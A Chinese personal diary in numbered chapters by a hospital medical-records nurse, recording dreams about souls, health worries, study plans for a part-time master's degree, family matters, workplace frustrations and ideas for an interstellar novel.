    然后梦境里出现了一个场景，那个场景是比较前一点的，也有可能是同时期。但是我不知道怎么写。梦里就是娘家，娘家那边一座山，然后有一个白色的宝宝，它要进山里面，然后山里面就发了很多的水，把它送回来了，然后它又要进，又想进，然后又被送回来了。
    然后就是下一个场景，场景里是一个房间，房间里我在和我老公抱着我孩子睡在一起，后面不知道为什么旁边突然多了一张床，床上躺了一个男的，然后梦里有意识想让我去别人的床上，梦里我没有，我脱了我的袜子，后面躺回去了那张床，梦里床的外面是另一个世界一样，是一轮红色的太阳那种颜色特别的红。梦里有一个人正在看着我，我也很好奇他为什么看着我。他身后出现的那座山很像娘家的一座山。
    然后下一个场景我在等我老公，梦里的他像一个猪八戒在梦境里打什么东西。另一面的他是黑色的，但是还有一面的他，他就是猪八戒的脸，猪八戒说：你喜欢我呀！我并没有否认。猪八戒确实很好看呀！福星高照猪八戒喜气洋洋猪八戒都很好看，还有好几部动画片好吧！对猪八戒的印象确实还是比较美好的。
    西游记也没有太多的恶感。还好吧！虽然很多解读都很阴暗，有成人的想法，但是仍然还是喜欢。
    这几个梦的冲击很大，很像自己是梦境里真实生活的人一样。
    然后下一个场景，梦里面一个漂亮的女性拿了几本书给我，里面的场景是很美好的，说那个灵魂是我老公的。她说你不在意吗梦里的我说不在意。
    梦里的我到底看的什么我也不懂你。

 第449章

感觉肚子好大，然后胃口很好，肛门灼热，嘴巴一直很渴，很想喝水，喝完了水以后，两下子就渴了，好干燥的感觉，以前都不会，也不用喝那么多水，意识比较清醒，就是感觉自己精气神很足，即使晚上熬了夜，第二天仍然精力满满，但是这让我感觉害怕，因为最好的状态是能够好好休息，才能够好好工作，即使是机器人也需要好好休息的，而我晚上睡不好，白天做不好事，不好，如果晚上睡不好，白天精神好，那样不就运转的太久了吗？怕自己受不住。不知道我的情况怎么回事，我觉得我需要调整一下，需要补津液。降火。
    我希望我能学会中医吧！好好把我治一治。

 第450章

食堂的油炸鸡块好吃，虽然我的身体上火了，我还是没忍住，下次就不吃了。

 第451章

    早晨五点半醒来会不会太早。昨天晚上十一点睡的。昨日好像没有什么梦境，但是下午的白天好像看到了什么灵魂一样，它在说话，但是我没有懂。然后我感觉我的脑子瞬间有那种觉得自己被神经病附体的感觉，有可能是谁的灵魂想挤掉我？
    让我出错，然后它就代替我的位置。我怀疑！所以这几天学习可积极了，每天晚上回家我们都用电脑学习。白天上午上班，下午上架，中午我听一点中医课。反正中医课这玩意难，学的会算我有本事！
    交完了本科的学费，我就没有什么钱了，几乎只剩一百块钱左右吧！估计！所以要省钱！
    早上搜了一下在职研究生，需要考英语，数学，政治语文之类的。数学其实我喜欢，但是我不晓得在哪里找题目学习，我需要考的数学范围是哪里呢？会不会是高数还是大学本科？还有我的大学本科正在学习，如果考到了在职研究生，两个学历会不会有矛盾，我想两个都拿。政治可以在大学本科的课程里学习。数学和英语我感觉应该很难，语文的话研究生的题目应该也比较复杂。那么我要明知山有虎偏向虎山行。我要怎么努力呢？
    我只是一个全日制中专。在职大专。但是并不是没有护士考过在职研究生，有一个中医院的护士就考上了在职研究生，人家也是中专，然后通过这个途径进入了市区考编当老师。所以我也想努力，加油！我问我老公，我考在职研究生他怎么看，他说他觉得我能考的到。因为我一直都这么努力用功。真好！不管结果如何。我都很感谢老公会说这样子的话。
    我看的婚姻心理学里说的内容，与期闭自己老公上进还不如闭自己上进。我觉得我有强烈的心理需求还是让自己好好努力吧！

 第452章

六点起来看书。我觉得五点太早了。看完了以后我觉得五点起来也是可以的，反正我的时间很短。这也是试一试。感觉我比较容易分神。不过也到了时间，比如我设定的番茄钟二十五分钟，我在到了这个左右的时间就会分神，然后我就需要放松，个人感觉还行吧！主要我会不会学的太杂了，我看主管护师的内容，然后又看中医的内容，算了就当中医的内容是放松模式，护师的内容是专业模式。怎么样学数学？这是我需要去探索的事，要怎么样实现它呢？对于一个高数都不怎么会的人来说，我需要怎么做呢？

 第453章

好好休息吧！今天看了一点点高数，个人感觉还行，就听了几分钟。我感觉我能接受的了。我再也不嘲笑我弟弟了，高数确实难。不过我想要好好学，不过我又要学病案编码，好多啊！好好规划吧！反正我就是顺便学学而已，这个好难，我又不用考编码证，我只需要做好螺丝钉的本分，然后万一哪一天需要用，用上去就可以了。

 第454章

梦境，梦里面是叫我查产科的病历。然后梦里面我睡着了，然后梦里面我就在查，其实现实最近也在查，梦里面有一个灵魂一直在唱歌。唱了一晚上了，然后灵魂的能量是灰不拉机的。
    希望她的状态好起来吧！不管是谁，希望她好起来。平平安安。
    本来今天也想五点半起床的，结果起不来。
    很想吐槽自己三天打鱼两天晒网，但是能打一天的鱼已经很不错了，很感谢自己。有两天也好。

 第455章

难道是因为我的脑子？有的时候我明显会感觉到自己的脑子突然之间想法不正常，然后我就会对我的脑子说，其实这是有病，但是往往这样子的话容易收到周围的人的负反馈，就是突然之间人家会和我说，你眼睛是不是看不见？或者其他的，我也不知道为什么？我突然之间有了个想法，难道那些奇奇怪怪的思想，这玩意不是我的，是别人的？
    那我应该怎么去应对这种思想呢？讲它有病也不好，任由它入侵也不好，怎么样才能好起来呢？

 第456章

三点多醒了，难道我是肝需要调理一下？突然有点想法，我还是自己买一点黄连上清丸吧！
    梦境，梦里面是我的工位，然后有一个人在我的工位上用电脑，在弄什么数据。看起来像某一位同事，又不像。不晓得干嘛的？讲的内容其实我不太懂。后面就是老师在旁边看。
    不太懂，早点子睡觉吧！我觉得我可能很想把我送走，正在用啥方式慢性毒杀我的感觉。“我”不太开心吗？也许吧！

 第457章

没有睡，正在烦病历的事，要上架，但是找不到人来做事。又叫我们要一个星期做完，老师她们两个正在学习中，市里面有高级班的课程，星期天我也会去。要学。然后临床上又有大型的考试，叫不到人，内心里很想叫领导和我们一起搞，加班加点搞。白天就我一个人搞怕会弄错这个需要一本一本顺序不能错，晚上搬病历那里没有灯。
    好忧心。

 第458章

看了很久的小说，可能是报复性的想看，因为好久没有看小说了。修仙的。写的还行，搞得我也手痒想写，但是我不会写大纲，可能会弃文。
    我的心情有点子失落，很想去构思一下自己笔下的女主，发现不容易。

 第459章

    梦境，梦见自己脖子上有一个锁链。然后下一个场景就是一个房间，房间里有一对男女，在说什么，我觉得他们长的很漂亮，但是说出的话不像人话，但是忘记说的啥了，后面下一个场景就是一个教室，教室里有一个男孩子很像我老公，梦里我就叫他老公，他的颜色很漂亮是白色的。梦里的我也很开心。周围的能量很美。
    然后我就有一种自己醒了，发现自己脖子上有锁链一样的东西被人拉着。我没有动，也懒得动，这玩意是什么枷锁，灵魂里的还是精神里的。是指什么呢？还是因为我是犯了什么思想的错误而有的。千万种可能性。以我的认知也就想到这三个而已。
    很想写一个星际文，但是我也不知道怎么写，看别人写的倒是好好看，一看就沉迷，昨天本来想给正在读高三的弟弟一本书，《自学大全》但是看小说太入迷了，忘记了。如果不是计划给弟弟送书，我都可以早一天下去市里和老师她们一起住，又不赶。没有想到我会看小说太入迷而耽误时间。可能在我潜意识里就是讨厌我弟弟。所以我每次相对他好，就会发生各种各样的事。
    我比较讨厌我弟弟。我也不记得为什么讨厌他了，可能是我妈妈回家给他买了玩具，很开心的那种，但是没有给我买，她问我想不想要，我本来想要，但是脑子里总是会显示她讲我是一个出生就是算计她钱的鬼。等各种各样的念头，后面我就说不要。我妈妈从来没有买过玩具给我。但是买了给我弟弟。不过那个时候的我也不需要这种东西。因为那个时候我更喜欢看书。
    我很想帮弟弟，但是有一个表面意识的心，没有潜意识的心。为什么我会忘记这个重要的事呢？
    有福之人，是因为人家有德，德是啥？就是和你在一起的人，他们都在你身上获得了好处。所以自己就会变得有福气。大概就是这么个意思。我对我的弟弟妹妹好，肯定是因为想要对我自己好啊！
    他也只是一个独立的生命个体。我也是。在这个世界机缘巧合才成为了姐弟。这是难得的缘分。
    不，我才不会去感叹这种缘分，反正道理就是对别人好，就是对自己好，谁讲的来着，我也不记得了。可能是算命先生吧！他说过：我要去帮助别人。但是我的眼睛并不知道哪一个人需要我的帮助。他们的生活都比我好。所以最困难的还是我弟弟我妈妈爸爸。包括老公他们。应该是吧！
    我好想写小说啊！很难构思，想构思一个好的环境，但是没有生活过这种条件，想象不出来，想给我笔下的女主安排一个比较离奇的经历但是怕我写的太惨了，她也会像其他作者书里的角色把作者捅死。看过一个吐槽说有一本小说要完结，结果作者可能是不知道怎么完结了，就写了主角把作者捅死了。看了这个不知道怎么表达自己的心情。有点子好笑，但是怎么就那么惨呢？
    我觉得我更惨，我根本不会写。一个古代的人如果她穿越到了星际时代，她会怎么办？古代女子有的特点是什么？大门不出二门不迈，知书达礼，琴棋书画样样俱全。优雅端庄守礼。还有宅斗，还有管家婆的形式。对一个家庭了如指掌。可以经营各种关系场所，但是这样子的女孩子和我没有任何关系，因为这玩意我都不会我怎么写？抄书我都抄不像。真是郁闷。
    星际有光脑，从一个星球穿越到另一个星球。有很多物种，生物多样性，可能有石头人，可能海里的章鱼美人鱼，树人，兽人等。可是剧情怎么展开呢？这又和宅有什么关系？怎么才能写好一个大纲？如何才能把这本小说写出来肖洛雪是无意之间从小红书随便按名字找的，觉得这名字还好。总有一种有忧伤的感觉。我想写好一点，让她开心一点。虽然我看了很多好书，但是我也不是没有翻过写的让我一眼就看不下去的书，没事，我的角色崽崽平平淡淡平平安安的就行了，星际又怎么样？还不是有病看病，两点一线的工作生活？需要想象力，需要很多很多的能力，这些都是日积月累下的沉淀。
    一大早就去坐火车，我也没有想到我真的干了。本来我早上起来我还想退票的，但是还是来了。火车站都还是好久没有坐了。没想到居然不用买票了，直接用身份证就行，连自助取票机都退伍了。我也就才两年左右没有坐过车而已，变化好大。

 第460章

    梦境，梦到了一个空间里面是好大的灵魂，红色的，然后梦里有一个女人，她的灵魂比较小一点，梦里那个灵魂说她没有办法替代她。梦里那个大一点的灵魂说本来就没有办法替代。
    然后下一个场景，就是在娘家那边的一个亲戚家里，我待在那个地方，梦里面梦到了灵魂很明亮的人，说叫我去认一下，我老公的弟弟打死了一只野鸡，我说打死了就打死了，认什么！肉分了没。梦里的她们笑了笑。
    另一个白天的梦，白天的那个课讲了一个手术，肠子坏了的事，梦里面碰到了其他的灵魂，我觉得这个手术有点子难，得这个病的人也很难受，作为医者只希望人家不得这样子的病，在这种条件很难的情况下，有这样子的手术救人一命还是好的，但是没有办法阻止这世界上所有的灾难。也许我们期待的医术是一个人啥器官坏了直接换新的，而且没有损伤，直接完好如初，当然这只是做梦而已。你也不知道这种是好事还是坏事，会不会以后就没有人珍惜当下。没事不动嘴光动手。

 第461章

中午的梦境。不知道梦到了什么，好像一个黑色的男的很高大的灵魂的样子，他问了我什么问题，然后梦里不知道回答了什么，感觉那个东西像一个小球一样，不知道什么。
    反正也没有多久的梦的感觉，但是就是那样一瞬间的样子，就过了一中午午休的时间。

 第462章

很想叫领导买电脑，然后还有好多病历没有上架，只有我一个人最上面不好放，又不能乱。所以今天上午就在整理病历信息，然后下午收病历。还有新生儿科的病历一月份二月份都没有看，我还要计算七日归档率。终于把产科的看完了。二十份，还好是抽查，一开始是一份份看，他们累，我也累，后面抽查。就稍微好一点。
    按严格的七日归档率根本除了病人比较少的科室其他科室根本完不成。而且我要称这几天老师都不在医院，把七日归档率算出来。要把每一天七日归档率算一下，要好多时间，不知道我是选择哪种方法。

 第463章

    梦境，梦里面好像在科里吧！后面的话就去了娘家的一个路上，进了山。然后在山上和我老公一起，他看上了山里的风景，然后拉着我一起看，然后我看到了墙壁旁边一个菩萨，他菩萨对我笑了一下，然后，菩萨旁边掉了一个老虎豆，我捡了起来。后面听到了我同事的声音，以前妇科的同事。然后她们把我和老公隔开来了。然后挡稳了我的路。我怎么跑她们都在前面挡着。后面的话，我们出去了以后，她们就没有挡了。然后我老公在梦里的田里就在跑。不小心掉水里了，梦里面听到她们的声音说他没有考到好大学。梦境里的笑声是那种很轻的感觉。就是感觉人家也不是有意要讲，又不得不讲的感觉，反正梦里面我就停下来等他，后面我们就一起走。
    因为我也没有考到大学啊！还嫌弃人家没有考到好大学吗？
    搞不懂。后面梦里出现了一个白色的灵魂在梦里我的身体里。梦境里她好像思考了什么。但是我梦醒了，没有融合于她。
    不知道啥意思？医保科钟主任叫我们准备病历，下午我去听错了他讲的，全部准备的是手术的，后面就叫的去加班，把其他的挑出来，就搞了好久，叫我老公给我打电筒。
    本来按常规是他拿住院号给我，然后我去找病历。但是由于明天就要检查了，所以我就一个科一个科去走，找住院号。效果又不是很好，找不到多少份，都会被急死，找到了我就去拿，又没有等，还好交到了我老公打电筒。然后一本本找。
    早知道如此，我就不要等他，我要主动一点。上个星期听到了消息，要病历，但是我比较懵懂，没搞过这个，也不知道人家什么要求，去了人家办公室问一下医保科主任，他就下乡去了，其他人问我有什么事？后面就不记得了。再后面的话自己都一堆的事要搞。下次碰到这种问题，先去找他把情况弄清楚。

 第465章

    梦境，前几天的，中午梦见了一个土地，然后看到了我弟弟，然后弟弟的灵魂很明亮，但是我也不记得发生了什么。只是感觉有什么东西流走了。梦里还有一些能量在转动，梦里我向着我的家说，我已经把我能给的都给出去了。
    梦醒有一点子愤愤不平。不过也就是轻微的吧！因为高数真的很难学，我还不容易懂得一点，我觉得以他的水平应该也能懂。算了不想讲什么。我只知道勤奋。而且还没有时间勤奋。别的不知道。
    然后下一个梦，梦里面是一个黑色的地方，然后我看到我脑子的后面有一团黑色的东西，然后后面是好多白色的一团的能量在奇怪的笑。那个笑容很丑，不好看的感觉，然后就是我突然醒了。我也不懂这是啥。
    梦里突然想到了观世音。听见世界的声音。我是这样子理解她的。我也不知道为什么想到她。也许是缘分吧！
    今天学到的一个知识，就是修，学到了知识，把它变成自己的需要重复修炼，脑子听懂了，未必自己就真的会，需要好好的修习。
    学了一些编码内容，我懂得内容有哪些呢？这是在讲词典，然后今天学的，中毒的编码，中毒，症状+病因。这个还根据各种病因而编，有的是不小心吃了农药，有的是其他的各种各样的原因，比如这个药量是正常量，但是你的身体不耐受，导致不良反应。还有这种奇葩情况。还有车祸，交通事故导致外伤。是在公路上，不在公路上，还有有没有翻车，翻车了有没有受伤，受伤用哪种，不受伤又用哪种？还有烧伤面积。反正目瞪口呆中，理解很容易，难的是记住它，这就是教我们怎么用这本字典。我觉得买一本吧！等我发工资。
    我想写肖洛雪的故事，但是我的脑子很乱。先把我的想法说一下吧！想给她设定有一个青梅竹马长大的邻居哥哥，然后他们产生了感情，后面因为那个小伙子的爸爸在朝廷当官，而升迁了走马上任。
    他们两个就产生了距离，后面地位发生了变化，然后后来小伙子力排众仪。然后她在结婚途中发生了意外，她穿越了，穿越到星际时代。星际时代是那种科学已经当神学使用的年代。她的身份是光族神女。就是有很强大的能量，但是她需要生活在很多人心灵的黑暗里，为他人提供能量，然后在无尽的岁月里，以自己穿越时空的思念作为自己的精神食粮，为自己支撑着，毕竟她这种光族神女的工作想想也是复杂的，内心里总要有能量才能支撑下去。
    然后就是穿插一些回忆，那些古代的美好生活。然后就是和星际时代的对比之类的，或者慢慢的宅女肖洛雪认识了朋友，写一写星球的风土人情之类的。但是我只有这些凌乱的想法，怎么把它构想成一个宏大的世界，是一个需要很多积累的事，毕竟那些高楼宫阙，我根本没有见过。而且看到了也只会好看这样子朴实无华的赞美，怎么完善还是一个事。

 第466章

    梦境，梦里面是一个男的，他好像一开始不会说话，然后住在一个很大的黑色城堡里，梦里面他用魔法做了一锅臭豆腐给我，他说我最爱臭豆腐。但是梦里的我很生气，因为他干啥都用魔法，不自己动手。非常非常生气。我也不知道为什么那么生气。按理来说我不应该会那么暴躁。
    然后下一个场景。梦里的我手上拿着一把扫把，那个扫把我本来想写我的名字，刚写上去，有一个人就说这个扫把不是我的，是她的。然后梦里的我就想把扫把还给她，但是好像有点子晚。
    然后下一个场景，梦里面就是那个男的和我说，他每次都会开车去什么场所，然后梦里的我不耐烦的问他什么地方，他说别人的直播间，然后导演看他的脸特别的年轻，就安排在直播间里和人扯。
    下一个场景，梦里说他是一朵什么花投胎。而且是一种很可怕的花。然后城堡里的人都很害怕他。但是他最近出了一种毛病。就是很奇怪的感觉，但是说不出来什么感觉。
    梦里的他很奇怪。然后在嘘。叫我不要讲话。后面是梦到了李钟硕。什么鬼啊！我理解的就是他应该是喜欢上了男孩子，因为梦里那么暴躁，应该不会有男的喜欢。像我都喜欢温柔的女孩子，而男主角看起来也不像什么善茬。
    李钟硕应该是听见你的声音里的吧！这个意思是什么？他能听到我心里的声音？还是我需要听见他的声音？
    那么黑的场景，他会不会根本不是人，而是我的肾在和我讲话。

 第467章

    在学高数，并没有听懂，后来去请教了妹妹，妹妹是本科生。然后就从妹妹那里知道自如果自己要考研的话，需要考英语一，老看了一下，英语一的课程，学习强国有。老师非常的优雅的感觉，然后一串非常流利的口语就超级让我感觉到，我不知道她在讲什么，反正就是很牛的样子。然后就去听了一下高数的课，高数也难，要去考研的高数更难。
    听了一会儿编码课，后面很想研究我的电脑能不能截图和录屏一起，然后没有找到技巧。就重复听了一遍，课程。有点子难，我希望我礼拜天去弟弟的学校，买点子水果，还有送一本自学大全给他。怎么讲呢？我觉得对弟弟妹妹好，也是对自己好。我的终极目标就是对自己好。那么我需要先付出。
    我能给我的弟弟妹妹的只有微博的物质，但是他们也会给我很多东西，比如考研的信息，这让我很开心。对吧！
    老公的表妹我也希望她考到，但是我能做的，就是教她学习，叫她学习，至于结果怎么样，那就是她自己的事。
    我很想做一个事，就是每天早上学习，然后录下来，等到我考到的哪一天，然后再公之于众，告诉别人我就是一直那么努力的。当然这只是我的想象而已。要付出与行动，希望我能起那么早。
    可以在b站学习。

 第468章

    梦境，我可能没做啥梦吧！我老公做了噩梦，他梦见一个老虎要咬他，大晚上吓得赶紧把我抱得紧紧的。
    我的我看到了一个很大的黑色的灵魂，她骂我嫁的太穷。我也不晓得它为什么要这样子讲，因为我的原生家庭也不富有，好吧！
    后面我们今天回乡下，其实我并不想回，因为我还有好多课没有刷，没有录下来，我需要录下来。然后我本来想这个星期天送一本自学大全给我弟弟的，但是我老公做的这个噩梦，让我不得不放下自己的事。我也不晓得他怎么了。
    我的话，我只能放下自己的事了。
    山里的风景很美。但是我真的感叹时间不够用，因为我想考在职研究生，但是我又害怕我这么努力，会不会称托的老公太懒散，因为他天天打游戏，然后又刷视频，一刷就到深夜，有时自己睡着了，手机还在放，我没有去制止他，其实我制止过没用，他已经是一个成年人了，他有自己的决策，所以我没有在讲。有的时候我很烦的时候也会玩到一两点。都一样的。
    我很胖，我的皮下脂肪很厚。我需要减肥了。
    我很害怕我那么努力会不会，把他的人生运气给抽走，我也不知道为什么会有这种想法？因为在我的认知里可能是觉得我们是一家人，我们需要两个人一起为家庭付出吧！而我在学习你在玩游戏，会不会把老公衬托的太自卑。可是我要是和他一起玩的话，工作会变得很难。单位其实就是环环相扣，每个人做好自己螺丝钉的本分，大家才运转的过来。我需要学习。可是我不想抱怨我老公不进步。他想不想要学习，是他自己的事，而我想不想要学习是我的事。
    我觉得我这种状态就是因为我还是对他有投射。但愿我会好好调整自己吧！最美好的状态是我好好学我喜欢的事情，老公玩不玩跟我没有关系，而且我也是宽容的一个状态。但是现在的我没有达到这个状态。
    我看了我制作的视频。很搞笑，后面看了两天，看一遍笑一次，我觉得我还是不要发出去，免得损失我们医院的形象，我觉得不要发朋友圈，我有点子怕明天上班会抵骂，因为我拍的照片真的没有那种高大上的感觉。但是我笑了两天，没有过度的欢喜，就没有极度的悲伤。我怕我乐极生悲。还是悠着点。
    看了人家的照片，真美。好羡慕，又有身材，衣着品味又很好。像我这种沙雕，我感觉很难拯救，大概只有重新投胎，才能塑造这么好看。
    我要减肥，我要减肥，我的身材让仰头45度看到的都是忧伤。

 第469章

    梦境，梦里面是看风景，去景区，然后不小心灵魂进入了一个世界，那个世界和现实世界不一样，可能是个修仙世界，我感觉应该是想象，或者我又是谁的劫。梦里面在算什么东西。梦里面我是一个黑色的流动的液体一样的人，然后梦里出现了一个红衣女子。她在弹琴。然后出现了什么事情，梦境里不知道我是不是干了什么。后面导致她过了什么坎。她的亲人说送什么东西给我，然后梦里面我想要的是一个功法。可以强身健体，但是好像不可以，出现了什么拿走了。后面我换了一个，想要黄金。后面也不可以。然后再后面，灵魂后面就出现了一个很大的病魔，淡蓝色的脑子，后面那个空间就消失了。
    然后下一个场景就是梦见了海里的鱼，好像我是那只鱼。但是不知道这是什么意思？
    然后下一个场景，就是出现了一个黑色的男人，他看起来很帅。但是他是黑的。然后他说我欠了他什么东西，我说不记得了，问他是不是欠了他钱。然后翻了聊天记录，发现没有。
    因为梦里的灵魂很像我妹妹，然后今天下午老公的姑姑问了妹妹的事，我怀疑，这又是用什么特殊途径拐我妹妹。因为她有儿子未婚。
    然后梦里我就看着他。我感觉他有点子像传金，但是不是，他是黑色的灵魂，传金白色的，黑色
    代表什么，倒霉吗？妹妹还欠我的钱。她没有达成我的要求，我就替掉她的桃花运。
    结婚是一件讨厌的事情。

 第470章

    梦境，梦里面是一个很漂亮的女孩子，然后她的头顶是一个球。那个球没有动。以前的梦里我小时候那个球它每次转都是黑色的光，然后我就会生病，每次都会生很久的病，然后就会出现一个人的灵魂，他很美。然后他帮我解决了一些东西，然后病就好了。但是我也不知道为什么这次出现的意思是什么？为什么它又不动，按理来说它出现了我就要生病了。
    对妹妹的要求是她毕业以后要挣二十万块钱。以后要缴大弟弟上学。以后在我或者我的孩子未来有困难需要提供帮助。在没有独自挣到钱之前，不要结婚。毕竟我不记得我花了多少钱。我没有算这个数。我的青春也是无价的，在别的女孩子都在旅游提升自己衣品气质的时候，我在攒钱。当然这也让我过的好一点。因为我帮助我妹妹，我的心里有了动力。非常努力去学习。
    我认识了更多的人。我还慢慢实现了自己写小说的想法，虽然写的一般般。我还体会了考一百分的快乐，虽然这种快乐只有短短的一年而已，还体会了很多难以想象的快乐，比如我会制作喜欢的东西，会做自己的美食给她吃。就像小学语文那篇课文一样，弟弟得到了一个礼物，他哥哥送给他的车是一件很幸福的事，而做他哥哥这样子的人，也是一件很幸福的事。
    我希望她是学有所成的，她可以去处理好与他人与自己与父母的关系，就算结婚她也会是快乐的。这些其实也是我对我自己的期待。

 第471章

    我感觉我又开始拖延了，我也不知道我的心情又发生了什么变化，我总感觉我的能量是那种淡淡的稀薄的白色。不知道这代表什么。
    老公建议我走路去上班，晚上回的时候他来接我。这样子也好，好久没有锻炼了，然后我的胃很容易胀气上逆的感觉。这代表什么我也不知道。我的肚子好大，听说不能讲人家胖，不然人家容易生病的，但是自己讲就没有关系吧！
    我想瘦一点，那样子我就可以穿漂亮的衣服，但是又很希望自己瘦下来会是那种神采奕奕的那种瘦，我同事很瘦，她们很漂亮，很有干劲，我想要这样子的瘦，我不知道我为什么会吃那么多，想要胖，主要是感觉自己没有能量。很容易饿，那种饿我觉得是津液气血不足，而我需要好好调理自己。
    好难受，人家都好看，我缺没有。
    昨天老公骑车载我回家的时候，他把他那个暖一点的帽子给我了。因为他感觉天很冷。他虽然很爱玩游戏，但是很多小细节又是让人动容的。
    疯狂的想玩，我觉得我应该想要玩，因为很久没有玩了。我要玩游戏。

 第472章

    昨天走路去上班，六点半开始走，走到单位七点四十。然后没有感觉到累，也没有感觉到不舒服。
    我称了一下我还是70千克。我需要每天坚持，因为我想要穿漂亮的裙子。单位的领导也是每天走路上班的，所以要加油。
    昨天学了课程，然后发现21号结束，而我还有好多课没有学完，我觉得我还是开二倍速录下来，然后再用视频软件弄成一倍速再学。我前面的基础课我需要重新学。
    看了很久的高数，一开始前面的课听得懂，后面的更复杂的听不懂，后面一直学这个就有点听得似懂非懂。慢慢来吧！反正备考八年呢！然后就算考不到也是一段丰富的经历，等以后自己小孩子上学了，他要是学不好，就不会说他读书死毛用，毕竟自己也学过。如果学会了，那么考的到，然后自己以后也许可以辅导小孩子，以后在生活实际中还能运用出去。所以很好。好好学，失败了成功都是我们的财富。
    主任说希望我们好好学习，诗歌散文，抖音，计算机，等以后我们写材料有积累。嗯嗯加油吧！
    存钱的一个途径就是现在攒钱以后就可以有收获，植树是现在做以后就会变成参天大树，学习也是慢慢积累，一步一步来，我们尽管努力，其他的交给运气。

 第473章

    梦境，梦到了一辆车，把我送往下一个地方。可是我没有去，梦里的我灰色的，然后下一个场景就是听到了一首歌，很想和死亡有关的。后来就不知道是啥。反正我醒了。
    我基本上没有什么智商，与人沟通的能力是非常匮乏的。所以需要硬着头皮上。但是我好像很难做好硬着头皮上的能力。我也不知道为什么会有这种感觉。
    白天，主任叫我去信息科，导数据，他上个月和我讲了这个事，每个月找他们导门诊电子病历数据，质控，看哪个医生发热病人有没有写体温，开的药和诊断对不对的到。有没有写诊断。等东西。因为我们医院门诊电子病历，好像是没有其他医院那么严，我怎么感觉到的呢？我以前在我们医院看病在医生那里是不用记手机号码，但是去其他医院，医生是要记手机号码的，门诊那里，这是去中医院看的，看牙，我还惊讶了很久。两年前看的。而我们医院一直都没有记这个东西。电子病历系统里有病人手机号码这一栏。
    人民医院我们是拍马都赶不上人家的病历等各种质量。中医院的病历质量也很好。别的我不晓得，至少我当病人的时候有这么一个细节，而且我是一个门诊病人，医生也回访了。我们要努力的东西其实很多。
    我努力的东西也很多。
    然后没有给我导，因为他也不知道我讲的什么？我觉得可能是我表达不清楚，导致人家不理解，还有就是人家故意不给我导。问了老师，她说都给她导过，我的都不导，然后我就直接打电话给信息科主任，为什么老师的导数据，我的不导。以后叫他给我配一个信息科钥匙，我每个月花一天的时间用信息科主任的电脑上一天班，我去了信息科，我感觉他的电脑还可以。内网的。都没有给我配内网电脑，所以我工作都要曾老师分电脑。信息科主任说他的电脑也好卡。
    我们医院的电脑，从临床医生，护理的，上至医务科电脑，办公室电脑，都卡的要命。从基层到上层都是这个样子。唉！不知道说啥。
    不知道是存的东西多，还是工具需要升级。
    昨天晚上思想有点子抛锚了，不开心，可能是这件事我说的话不好，主任说我不能和信息科主任这样子讲话，这胆子也太大了。他都不敢这样子讲。
    而且这样子讲人家都导数据，就我的不导数据，人家会听了生气的。
    然后我整个下午心情就像长了灰色的毛一样，好难过啊！没有控制住。

 第474章

    今天中午的聊天，说市级医院的医生都下到乡镇了。可能是抢病人的意思，就是大医院没什么病人，小医院也没有什么病人。美国做一个什么手术106万美金，医保报销80万美金。结果仍然没有治好，后面回中国找了哪个医生花了八万元治好了。医院的成本好高，而且很多东西几十年都没有涨价。不知道这样子发展下去医院会不会倒闭？这是他们的想法。每个时间段的百姓的愿望是不一样的，以前是吃饱饭，后面是要过的好。这是他们的思考。
    我的思考是什么呢？很想建立中医的体系，我们自己的系统。西医的系统很贵，老百姓看不好。可是这个很难。也就想一下子。
    结婚生子的少，人也会越来越少。房价高啊。婚姻没有保障啊。
    还有一些是说第三者都可以结婚，可以未婚生子。感觉越来越奇葩。可能之后人少了会有更多的假期，可以去旅游。像德国之类的。
    我昨天刷到一个皇帝的说法，就是他想办法把读书人困在八股文里，然后就安顿了，啥啥的，后面我并没有什么太多的想法，因为能够去学习文章是一件很幸福的事。古代的诗词和思想都挺美好的。如果能够成为一个幸福的读书人，能够去学习和感悟到这些美好的事，是一件很幸福的事。读书的意义并不在于你能够当官或者做什么很了不起的事。而是你可以通过自己的思考通过自己的想法去用心做自己喜欢的事。我觉得并不是每一个读书人都喜欢去当官的，只是如果自己学习了，却看到黎明百姓过的不幸福，会感觉很难受吧！就像那个视频里皇帝自己都被人家偷掉了。说明这种想法还是需要想一想。为什么他们会选择偷东西生活呢？百姓安居乐业，是一件比较难的事，人家才会靠偷。

 第475章

    梦境，梦里面是啥，不记得了。总之就是自己在空中飘的感觉。
    然后下一个场景就是我的手机闹铃了。五点多，结果一下子就到了五点半。让我一瞬间有点子目瞪口呆。按理来说，不会那么快。我觉得这样子的我，可能碰到了我欠的灵魂。
    最近这两天，有一个时间点，突然之间就会忘东西，忘东西的时候，看到了那个灵魂。黑色的，然后她一来我就忘了，我也不知道为什么？然后要过一会儿才会想起来。我觉得可能我欠了她的人情，或者她的事没有做好，不然就不会给自己带来麻烦。
    昨天的想法，昨天的想法是那种突然之间心情不好。然后总在抱怨自己结婚。因为我很久没有出现过这种情况，我猜我可能是碰到了什么鬼。但是不晓得她要干嘛的。
    会不会是因为人家不想结婚？不晓得？那她到底是想结婚还是不想结婚？不想就不想呗为什么会让我忘记东西？难道人家想结婚？。。。。
    搞不懂。
    我又不认识她。只是这种状态让我很奇怪。

 第476章

    今天听了一些课，我感觉有点子感悟。但是课没有讲完。关于中层干部的。我觉得我是一个什么样的人呢？我觉得我比较容易听话，参与，但是不太会动脑子，像老大交给我的事，经常做的不尽人意。天天讲。而且我的智商时灵时不灵，做的事效率很低，我好想做的又快又好，但是结果不是我非常满意的。我总感觉我需要想需要思考，但是总感觉自己脑子不好用，怎么思考才能够优化自己的工作？很多细节的东西，很让我抓狂，因为我想不出来，很多时候很想换个脑子上班，当然这是不现实的，我只会抱怨我自己。为什么抱怨？我觉得自己太笨了。为什么会觉得自己笨，而不是事情难？是因为在脑子里感觉事情很简单，但是很繁琐，要时间。如何去改变自己的繁琐？难点就在这里。
    老师讲过有一个院长，底下有一个护士发生了重大事故，然后他想辞退那个护士，然后好多领导打电话给他，叫他慎重。后面不了了之。后来员工看他的眼神不对劲，经常不听他的。
    自我反思一下，这是不是讲的我？可是我想要辞职我的脑子会不舒服。所以我肯定不敢自己辞。辞了把我给闹死。
    老实说我并不是很适合做护士，我好像做啥都不好，好像自己是一个残次品，毕竟一个人说你不好，可能他有问题，一堆人说你不好，那就是我的问题。那我怎么解决我的问题呢？没有路子。
    别人会对我有很多的抱怨很正常。
